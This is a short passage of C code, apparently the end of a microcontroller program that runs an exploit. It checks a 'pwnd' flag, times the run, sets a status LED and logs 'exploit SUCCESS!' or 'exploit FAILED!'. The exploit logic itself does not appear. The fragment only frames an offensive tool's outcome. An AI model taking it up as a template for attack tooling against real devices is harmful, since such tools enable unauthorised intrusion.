|
|
|
|
if (!pwnd) {
|
|
goto fail;
|
|
}
|
|
|
|
absolute_time_t end = get_absolute_time();
|
|
int64_t delta = absolute_time_diff_us(start, end);
|
|
|
|
led_set_state(LED_STATE_SUCCESS);
|
|
|
|
INFO("took - %lldms", delta / 1000);
|
|
INFO("exploit SUCCESS!");
|
|
|
|
return 0;
|
|
|
|
fail:
|
|
led_set_state(LED_STATE_ERROR);
|
|
INFO("exploit FAILED!");
|
|
|
|
return -1;
|
|
}
|